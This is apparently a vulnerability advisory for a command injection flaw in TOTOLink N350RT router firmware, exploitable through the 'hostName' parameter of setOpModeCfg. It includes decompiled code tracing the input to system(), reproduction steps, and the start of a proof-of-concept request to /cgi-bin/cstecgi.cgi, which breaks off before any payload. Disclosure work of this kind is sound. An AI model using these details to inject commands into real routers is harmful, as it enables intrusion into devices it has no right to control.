TOTOLink N350RT V9.3.5u.6139_B20201216 Has an command injection vulnerability

Overview

- Manufacturer's website information: <https://www.totolink.net/>
- Firmware download address :
https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/206/ids/36.htm
|

Product Information

TOTOLink N350RT V9.3.5u.6139_B20201216 router, the latest version of simulation overview:

NO	Name	Version	Updated	Download
1	N350RT_Firmware	V9.3.5u.5812_B20200414	2020-07-28	
2	N350RT_Datasheet	Ver1.0	2020-08-09	
3	N350RT_Firmware	V9.3.5u.6095_B20200916	2020-09-24	
4	N350RT_Firmware	V9.3.5u.6139_B20201216	2020-12-30	

Vulnerability details

TOTOLINK N350RT (V9.3.5u.6139_B20201216) was found to contain a command insertion vulnerability in setOpModeCfg. This vulnerability allows an attacker to execute arbitrary commands through the "hostName" parameter.

```

1 int __fastcall sub_422100(int a1)
2 {
3     int Var; // $s1
4     int v3; // $s5
5     int v4; // $v0
6     int v5; // $s4
7     int JsonConf; // $v0
8     int v7; // $s2
9     _BYTE *v8; // $v0
10    int v9; // $v0
11
12    Var = websGetVar(a1, "opmode", "gw");
13    v3 = nvram_safe_get("opmode_custom");
14    v4 = websGetVar(a1, "wifiIdx_rpt", &word_42C8AC);
15    v5 = atoi(v4);
16    nvram_set("opmode_custom", Var);
17    nvram_set_int("rt_mode_x", 0);
18    nvram_set_int("rt_sta_wisp", 0);
19    nvram_set_int("rt_sta_auto", 0);
20    nvram_set_int("wl_mode_x", 0);
21    nvram_set_int("wl_sta_wisp", 0);
22    nvram_set_int("wl_sta_auto", 0);
23    nvram_set_int("crpc_enable", 0);
24    if ( strcmp(Var, "gw") )
25    {
26        if ( !strcmp(Var, "br") )
27        {
28            nvram_set("wan_route_x", "IP_Bridged");
29            nvram_set_int("sw_mode", 3);
30            nvram_set_int("networkmap_fullscan", 0);
31            nvram_set_int("dhcp_enable_x", 0);
32            nvram_set("lan_proto_x", "1");
33            nvram_set("rt_guest_lan_isolate", &word_42C8AC);
34        LABEL_19:
35            sub_421644(a1);
36            sub_41D10C(a1);
37            sub_41CDCC(a1);
38            goto LABEL_20;
39        }
40        if ( !strcmp(Var, "rpt") )
41        {

```

```

1 int __fastcall sub_421644(int a1)
2 {
3     int String; // $v0
4
5     String = cJSON_CreateString("1");
6     cJSON_AddItemToObject(a1, "switchOpMode", String);
7     sub_41A9C0(a1);
8     return 1;
9 }

```

 image-20220719231241544

By calling these functions, we can ultimately call sub_41A9C0 function (as shown in the last picture). By setting the proto value to 1, we can reach the default branch. v50 passes directly into the dosystem function.

```
$ grep -rnl doSystem
squashfs-root/usr/sbin/discover
squashfs-root/usr/sbin/apply
squashfs-root/usr/sbin/forceupg
squashfs-root/lib/libshared.so
squashfs-root/www/cgi-bin/infostat.cgi
squashfs-root/www/cgi-bin/cstecgi.cgi
squashfs-root/sbin/rc
```

The `doSystem` function is finally found to be implemented in this file by string matching.

```
int doSystem(int a1, ...)
{
    char v2[516]; // [sp+1Ch] [-204h] BYREF
    va_list va; // [sp+22Ch] [+Ch] BYREF

    va_start(va, a1);
    vsnprintf(v2, 0x200, a1, (va_list *)va);
    return system(v2);
}
```

Reverse analysis found that the function was called directly through the `system` function, which has a command injection vulnerability.

Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Boot the firmware by qemu-system or other ways (real machine)
2. Attack with the following POC attacks

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
